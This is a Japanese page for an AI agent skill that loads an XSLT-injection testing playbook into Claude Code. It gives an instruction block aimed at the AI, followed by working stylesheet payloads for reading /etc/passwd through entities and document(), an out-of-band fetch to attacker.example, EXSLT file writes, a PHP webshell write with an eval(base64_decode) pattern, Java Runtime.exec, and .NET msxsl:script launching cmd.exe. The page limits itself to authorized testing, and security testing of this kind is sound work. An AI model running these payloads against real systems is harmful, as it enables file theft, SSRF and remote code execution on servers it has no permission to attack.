xslt-injection について
xslt-injectionは、セキュリティテスター向けのXSLTインジェクション検証プレイブックです。プロセッサの特定から、ファイル、外部エンティティ、各環境の拡張機能に関するリスク確認まで扱い、許可を得たテストを対象とします。
主な機能
- 01XSLTプロセッサの特定
- 02スタイルシート実行の検証
- 03document()とXXEの評価
- 04EXSLTのファイル書き込み確認
- 05PHP、Java、.NET拡張機能のリスク確認
活用シーン
- 01XML変換やレポート機能の評価
- 02許可されたテストでのXSLTインジェクション検証
- 03プロセッサとバージョン別の問題再現
インストール
コマンドをコピーしてターミナルで実行します。
npx skills add https:/ / github.com/ yaklang/ hack-skills --skill xslt-injectionインストール後、Claude Code で/xslt-injectionを入力して読み込まれたか確認します。
詳細
スキル:XSLT インジェクション — テストプレイブック
AI 読み込み指示:XSLT インジェクションは、攻撃者の影響を受けた XSLT がサーバー側でコンパイル/実行される場合に発生します。まずプロセッサーの系統(Java/.NET/PHP/libxslt)を特定します。その後、プラットフォームに応じて document()、外部エンティティ、EXSLT、または 埋め込みスクリプト/拡張関数を組み合わせます。許可されたテストのみ実施してください。多くのペイロードは破壊的です。振り分けに関する注意:入力が一般的な XML 解析であり、XSLT を経由しない可能性がある場合は、
xxe-xml-external-entityも読み込んでください。アウトバウンドのdocument(http:...)リクエストが関係する場合は、ssrf-server-side-request-forgeryも読み込んでください。
0. クイックスタート
- シンクを見つける:
xslt、stylesheet、transform、templateという名前のパラメーター、SOAP スタイルシート、レポート生成ツール、XML→HTML コンバーターを探します。 - 反映を調べる:固有の名前空間または
xsl:value-of select="'marker'"を注入します。出力が変化した場合、実行されている可能性が高いです。 - フィンガープリントを取得する(§1)。
- 系統ごとにエスカレーションする:document()/XXE(§2–3)、EXSLT による書き込み(§4)、PHP(§5)、Java(§6)、.NET(§7)。
クイックプローブ(無害なマーカー):
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/">
<xsl:value-of select="'XSLT_PROBE_OK'"/>
</xsl:template>
</xsl:stylesheet>
1. ベンダーの検出
式の中で標準的な system-property の読み取りを使用します。
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:output method="text"/>
<xsl:template match="/">
<xsl:text>vendor=</xsl:text><xsl:value-of select="system-property('xsl:vendor')"/>
<xsl:text> version=</xsl:text><xsl:value-of select="system-property('xsl:version')"/>
<xsl:text> vendor-url=</xsl:text><xsl:value-of select="system-property('xsl:vendor-url')"/>
</xsl:template>
</xsl:stylesheet>
一般的なフィンガープリント(一例であり、すべてを網羅するものではありません):
| シグナル | 考えられるエンジン |
|---|---|
Apache Software Foundation/Xalan のマーカー | Xalan(Java) |
Saxonica/Saxon の URI のヒント | Saxon |
libxslt/GNOME スタック | libxslt(C。PHP、nginx モジュールなど経由で使われることが多い) |
| Microsoft の URL/MSXML の文字列 | MSXML/.NET XSLT スタック |
結果に基づいて、§5–§7 の手順を選択します。
2. 外部エンティティ(XSLT 経由の XXE)
パーサーで DTD が許可されている場合、XSLT 1.0 ではスタイルシートまたはソース内の DTD ベースのエンティティを使用できます。
<!DOCTYPE xsl:stylesheet [
<!ENTITY ext_file SYSTEM "file:///etc/passwd">
]>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:output method="text"/>
<xsl:template match="/">
<xsl:value-of select="'ENTITY_START'"/>
<xsl:value-of select="&ext_file;"/>
<xsl:value-of select="'ENTITY_END'"/>
</xsl:template>
</xsl:stylesheet>
注意:強化されたパーサーでは外部 DTD が無効化されています。ここで失敗しても、ほかの XSLT 攻撃ベクトルが存在しないとは限りません(§3 を参照)。
3. document() によるファイル読み取り
document() は別の XML ドキュメントをノードセットに読み込みます。ローカルファイルは XML として解析されることが多く(ノイズが発生します)が、エラーや部分的な読み取り内容が漏えいする場合もあります。
Unix の例:
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:output method="text"/>
<xsl:template match="/">
<xsl:copy-of select="document('/etc/passwd')"/>
</xsl:template>
</xsl:stylesheet>
Windows の例:
<xsl:copy-of select="document('file:///c:/windows/win.ini')"/>
SSRF/帯域外:
<xsl:copy-of select="document('http://attacker.example/ssrf')"/>
インラインデータがクライアントに返されない場合は、エラーベースまたはタイミングによる観測と組み合わせます。
4. EXSLT によるファイル書き込み(exslt:document)
EXSLT common 拡張が有効な場合:
<xsl:stylesheet version="1.0"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:exploit="http://exslt.org/common"
extension-element-prefixes="exploit">
<xsl:template match="/">
<exploit:document href="/tmp/evil.txt" method="text">
<xsl:text>PROOF_CONTENT</xsl:text>
</exploit:document>
</xsl:template>
</xsl:stylesheet>
影響:パスのアクセス許可があれば、任意のファイルを書き込めます。多くの場合、ウェブルート、cron のパス、またはインクルード箇所を介して RCE につながります。
5. PHP 経由の RCE(php:function)
PHP XSLT で registerPHPFunctions() のような関数の公開が必要です(アプリケーションの設定不備)。名前空間:
<xsl:stylesheet version="1.0"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:php="http://php.net/xsl">
<xsl:output method="text"/>
<xsl:template match="/">
<xsl:value-of select="php:function('readfile','index.php')"/>
</xsl:template>
</xsl:stylesheet>
ディレクトリ一覧:
<xsl:value-of select="php:function('scandir','.')"/>
危険なパターン(過去に悪用された手法 — 検証はラボでのみ実施してください):
php:function('assert', string($payload))— 環境に依存し、多くの場合、非推奨または削除されています。古いアプリではinclude/requireと組み合わせられます。php:function('file_put_contents','/var/www/shell.php','<?php ...')— 呼び出し可能な関数が無謀に許可リストへ登録されている場合のウェブシェル書き込み。/e修飾子を使うpreg_replace(旧式の PHP)— 置換文字列が PHP として評価されます。Metasploit 形式のチェーンでは、Meterpreter(または別の)ステージ型ペイロードを隠すために、ブロブの base64_decode をラップして使うことがよくあります。PHP 7 以降では削除されています。非常に古いランタイムでのみ関係します。
旧式の PHP に相当する例(/e と base64 のパターンを示します。ラボでのみ使用してください):
preg_replace('/.*/e', 'eval(base64_decode("BASE64_PHP_HERE"));', '', 1);
php:function によって preg_replace がユーザーのスタイルシートから呼び出せる場合のみ、XSLT 経由で攻撃対象になります(まれであり、重大な設定不備です)。
テスター向けの注意:最新の PHP の強化設定では、これらがブロックされることがよくあります。RCE が発生しなくても、document()/XXE の可能性は残ります。
6. Java 経由の RCE(SAXON / XALAN 拡張)
Java エンジンでは、拡張関数を介して静的メソッドを公開できる場合があります。過去のアドバイザリには例が記載されていますが、正確な構文はバージョンと拡張機能のバインド方法によって異なります。
参考パターン(概念例 — 使用可能な拡張名前空間と API に合わせて調整してください):
<xsl:stylesheet version="1.0"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:rt="http://xml.apache.org/xalan/java/java.lang.Runtime">
<xsl:template match="/">
<xsl:variable name="rtobject" select="rt:getRuntime()"/>
<xsl:value-of select="rt:exec($rtobject,'/bin/sh -c id')"/>
</xsl:template>
</xsl:stylesheet>
Saxon スタイルの静的 Java 連携(設定に大きく依存します):
Runtime:exec(Runtime:getRuntime(), 'cmd.exe /C ping 192.0.2.1')
192.0.2.1 を、ラボのリスナーまたはドキュメント用 IP(RFC 5737 TEST-NET)に置き換えてください。
運用上の指針:拡張機能が無効になっている場合(安全なデフォルト設定では一般的です)は、別の場所にある document()、SSRF、またはデシリアライズに切り替えてください。すべての XSLT エンドポイントで拡張機能が有効なわけではありません。
7. .NET 経由の RCE(msxsl:script)
Microsoft XSLT のスクリプトブロックが許可されている場合:
<xsl:stylesheet version="1.0"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:msxsl="urn:schemas-microsoft-com:xslt"
extension-element-prefixes="msxsl">
<msxsl:script language="C#" implements-prefix="user">
<![CDATA[
public string xexec() {
System.Diagnostics.Process.Start("cmd.exe", "/c whoami");
return "ok";
}
]]>
</msxsl:script>
<xsl:template match="/">
<xsl:value-of select="user:xexec()"/>
</xsl:template>
</xsl:stylesheet>
デフォルトの安全な設定ではスクリプトが無効になっていることがよくあります。これは有効な場合の動作として扱ってください。
8. 判断ツリー
User influences XSLT or XML transform?
|
NO --> stop (out of scope)
|
YES
|
+---------------+---------------+
| |
output reflects no reflection
injected logic? try blind channels
| |
v v
system-property() errors, OOB, timing
fingerprint vendor |
| |
+-----------+-----------+ |
| | | |
libxslt Java .NET document()
| | | |
document() Saxon/Xalan msxsl:script? SSRF/file
EXSLT write extensions? | |
| | C# Process EXSLT?
v v v v
file R/W rt/exec cmd.exe /c map evidence
Payloads All The Things(PAT)の注記
PayloadsAllTheThings プロジェクトでは多くのインジェクションの種類を解説しています。XSLT については、SQLi/XSS のツール群に相当する専用のメンテナンス対象ツールのセクションはないと、メンテナーの注記に記されています。悪用方法はプロセッサーと設定に依存し、プロキシや手動ペイロード、カスタムスクリプトを使います。可能であれば、対象と同じエンジン/バージョンを使ってローカルラボでの再現に時間を割いてください。
ツール(実践向け)
| カテゴリー | 例 |
|---|---|
| プロキシ/手動 | Burp Suite、OWASP ZAP — スタイルシートのペイロードを再送し、応答とエラーを確認します |
| XML/XSLT ラボ | 仮想マシンで正確に同じプロセッサー(PHP libxslt、Java Saxon のバージョン、.NET framework)を用意します |
| アウトオブバンド | document('http://…') 用の Collaborator/プライベートコールバックサーバー |
バージョン固有の動作検証に代わる、万能なスキャナーはありません。
関連項目
- xxe-xml-external-entity — DTD/エンティティの強化対策、汎用 XML パーサー(
../xxe-xml-external-entity/SKILL.md)。 - ssrf-server-side-request-forgery —
document(http:…)またはエンティティ URL によってサーバーからフェッチが発生する場合(../ssrf-server-side-request-forgery/SKILL.md)。